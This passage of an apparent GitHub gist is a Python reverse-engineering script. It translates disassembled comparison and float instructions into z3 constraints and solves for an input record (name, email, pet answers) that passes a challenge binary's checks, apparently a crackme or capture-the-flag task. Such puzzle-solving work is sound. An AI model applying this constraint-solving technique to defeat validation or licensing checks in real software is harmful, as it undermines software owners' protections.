(r"mulss\s+(xmm[01]), (xmm[01])", r"\1 *= \2"),
(r"addss\s+(xmm[01]), (xmm[01])", r"\1 += \2"),
(r"subss\s+(xmm[01]), (xmm[01])", r"\1 -= \2"),
# double precision float arithmetic
(r"mulsd\s+(xmm[01]), (xmm[01])", r"\1 *= \2"),
(r"subsd\s+(xmm[01]), (xmm[01])", r"\1 -= \2"),
# Constraint-generating instructions. They're all like `if(!ok) goto fail`
(r"cmp\s+(\w+), (\w+)\njnz.*", r"constraint(\1 == \2)"),
(r"test\s+(\w+), \1\njnz.*", r"constraint(\1 == 0)"),
(r"ucomiss (xmm[01]), cs:(dword_......)\njp\s+.*\nucomiss \1, cs:\2\njnz\s+.*", r"constraint(\1 == \2)"),
(r"ucomisd (xmm[01]), cs:(qword_......)\njp\s+.*\nucomisd \1, cs:\2\njnz\s+.*", r"constraint(\1 == \2)"),
(r"ucomiss (xmm[01]), cs:(dword_......)\njbe\s+.*", r"constraint(\1 > \2)"),
(r"ucomisd (xmm[01]), cs:(qword_......)\njbe\s+.*", r"constraint(\1 > \2)"),
# Convert float to double
(r"cvtss2sd (xmm[01]), \1", r"\1 = fpToFP(RNE(), \1, Float64())"),
# At the end, transform ax to eax&0xffff and al to eax&0xff and all other sub-registers
# Because we don't have the ax,al variables declared, we only have eax
(r"\b([abcd])l\b", r"e\1x & 0xff"),
(r"\b([abcd])x\b", r"e\1x & 0xffff"),
]
import re
text = open("checks.txt", "r").read()
for rule in rules:
text = re.sub(rule[0], rule[1], text, flags=re.MULTILINE)
text = '''checks = [""" ''' + text + '''"""]'''
exec(text) # load all the checks
from z3 import *
solver = Solver()
def constraint(a):
print(repr(a))
solver.add(a)
# Constants some parts of the code use
dword_404C2C = simplify(0+fpBVToFP(BitVecVal(0x3FA103B3,32), Float32()))
dword_404C30 = simplify(0+fpBVToFP(BitVecVal(0x1CBC6C42,32), Float32()))
dword_404C34 = simplify(0+fpBVToFP(BitVecVal(0x2E2E2E2E,32), Float32()))
dword_404C38 = simplify(0+fpBVToFP(BitVecVal(0x0F1C164B,32), Float32()))
qword_404C40 = simplify(0+fpBVToFP(BitVecVal(0x3724A00000000000,64), Float64()))
dword_404C48 = simplify(0+fpBVToFP(BitVecVal(0x6337F4AE,32), Float32()))
dword_404C4C = simplify(0+fpBVToFP(BitVecVal(0x68542E2E,32), Float32()))
dword_404C50 = simplify(0+fpBVToFP(BitVecVal(0x57105D8C,32), Float32()))
dword_404C54 = simplify(0+fpBVToFP(BitVecVal(0x630FA61A,32), Float32()))
dword_404C58 = simplify(0+fpBVToFP(BitVecVal(0x7F7FFFFF,32), Float32()))
dword_404C5C = simplify(0+fpBVToFP(BitVecVal(0x5BF3DB0A,32), Float32()))
dword_404C60 = simplify(0+fpBVToFP(BitVecVal(0x6D617473,32), Float32()))
dword_404C64 = simplify(0+fpBVToFP(BitVecVal(0x74744020,32), Float32()))
dword_404C68 = simplify(0+fpBVToFP(BitVecVal(0x3D8437FF,32), Float32()))
dword_404C6C = simplify(0+fpBVToFP(BitVecVal(0x72546643,32), Float32()))
dword_404C70 = simplify(0+fpBVToFP(BitVecVal(0x726D0000,32), Float32()))
dword_404C74 = simplify(0+fpBVToFP(BitVecVal(0x6E209B44,32), Float32()))
qword_404C78 = simplify(0+fpBVToFP(BitVecVal(0x7FEFFFFFFFFFFFFF,64), Float64()))
qword_404C80 = simplify(0+fpBVToFP(BitVecVal(0x66756C462E2E2E25,64), Float64()))
dword_404C88 = simplify(0+fpBVToFP(BitVecVal(0x3F746570,32), Float32()))
dword_404C8C = simplify(0+fpBVToFP(BitVecVal(0x6E84C83D,32), Float32()))
dword_404C90 = simplify(0+fpBVToFP(BitVecVal(0x3E361E55,32), Float32()))
dword_404C94 = simplify(0+fpBVToFP(BitVecVal(0x706D6924,32), Float32()))
dword_404C98 = simplify(0+fpBVToFP(BitVecVal(0x4A82EA0E,32), Float32()))
"""
dword_404C2C = 1.2579254
dword_404C30 = 1.246878e-21
dword_404C34 = 3.9604035e-11
dword_404C38 = 7.6956873e-30
qword_404C40 = 4.624284932271896e-43
dword_404C48 = 3.3933852e21
dword_404C4C = 4.0079742e24
dword_404C50 = 1.5873146e14
dword_404C54 = 2.6498533e21
dword_404C58 = 3.4028235e38
dword_404C5C = 1.3727851e17
dword_404C60 = 4.3609316e27
dword_404C64 = 7.740607e31
dword_404C68 = 0.064559929
dword_404C6C = 4.2070047e30
dword_404C70 = 4.6942686e30
dword_404C74 = 1.2426327e28
qword_404C78 = 1.797693134862316e308
qword_404C80 = 3.641132949902611e185
dword_404C88 = 0.95467281
dword_404C8C = 2.0547047e28
dword_404C90 = 0.17785008
dword_404C94 = 2.9390022e29
dword_404C98 = 4289799.0
"""
j = 0
s = [BitVec("s%d" % i, 8) for i in range(260+8)]
s_float = []
s_double = []
s_word = []
s_dword = []
s_qword = []
for i in range(260+8):
if i+2 < 260+8:
q = BitVec("sw"+str(i), 16)
solver.add(q == Concat(*(s[i:i+2][::-1])))
s_word += [q]
if i+4 < 260+8:
q = FP("sf"+str(i), Float32())
solver.add(fpToIEEEBV(q) == Concat(*(s[i:i+4][::-1])))
s_float += [q]
q = BitVec("sl"+str(i), 32)
solver.add(q == Concat(*(s[i:i+4][::-1])))
s_dword += [q]
if i+8 < 260+8:
q = FP("sd"+str(i), Float64())
solver.add(fpToIEEEBV(q) == Concat(*(s[i:i+8][::-1])))
s_double += [q]
q = BitVec("sq"+str(i), 64)
solver.add(q == Concat(*(s[i:i+8][::-1])))
s_qword += [q]
def known(what, where):
for i in range(len(what)):
if what[i] == '_': continue
solver.add(s[i+where] == ord(what[i]))
import struct
known("Andrew\n.........", 0)
known("M-M-Miller\n.....", 16)
known("The Stammer\n....", 32)
known("\x25\x00\x00\x00", 48)
known("__stammer@fake-email.test\n......", 52)
known("What is your pet's name?\n.......", 84)
known("What are three defining characteristics of your pet?\n...........", 132)
known("Fluffball\n......", 116)
known("he meow, he reow, but most importantly, he want food right neow\n", 196)
def parse_model(m):
t = ""
for i in range(260):
r = repr(m[s[i]])
if r == "None":
r = str(ord(" "))
t += chr(int(r))
return (t)
for c in checks:
if "xmm" in c: continue # ignore floating point checks
print(c)
exec(c)
print(solver.check())
m = solver.model()
q = parse_model(m)
print("fname", repr(q[0:16]))
print("lname", repr(q[16:32]))
print("nick ", repr(q[32:48]))
print("age ", struct.unpack("i", q[48:52].encode())[0])
print("email", repr(q[52:84]))
print("seq1 ", repr(q[84:116]))
print("ans1 ", repr(q[116:132]))
print("seq2 ", repr(q[132:196]))
print("ans2 ", repr(q[196:260]))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment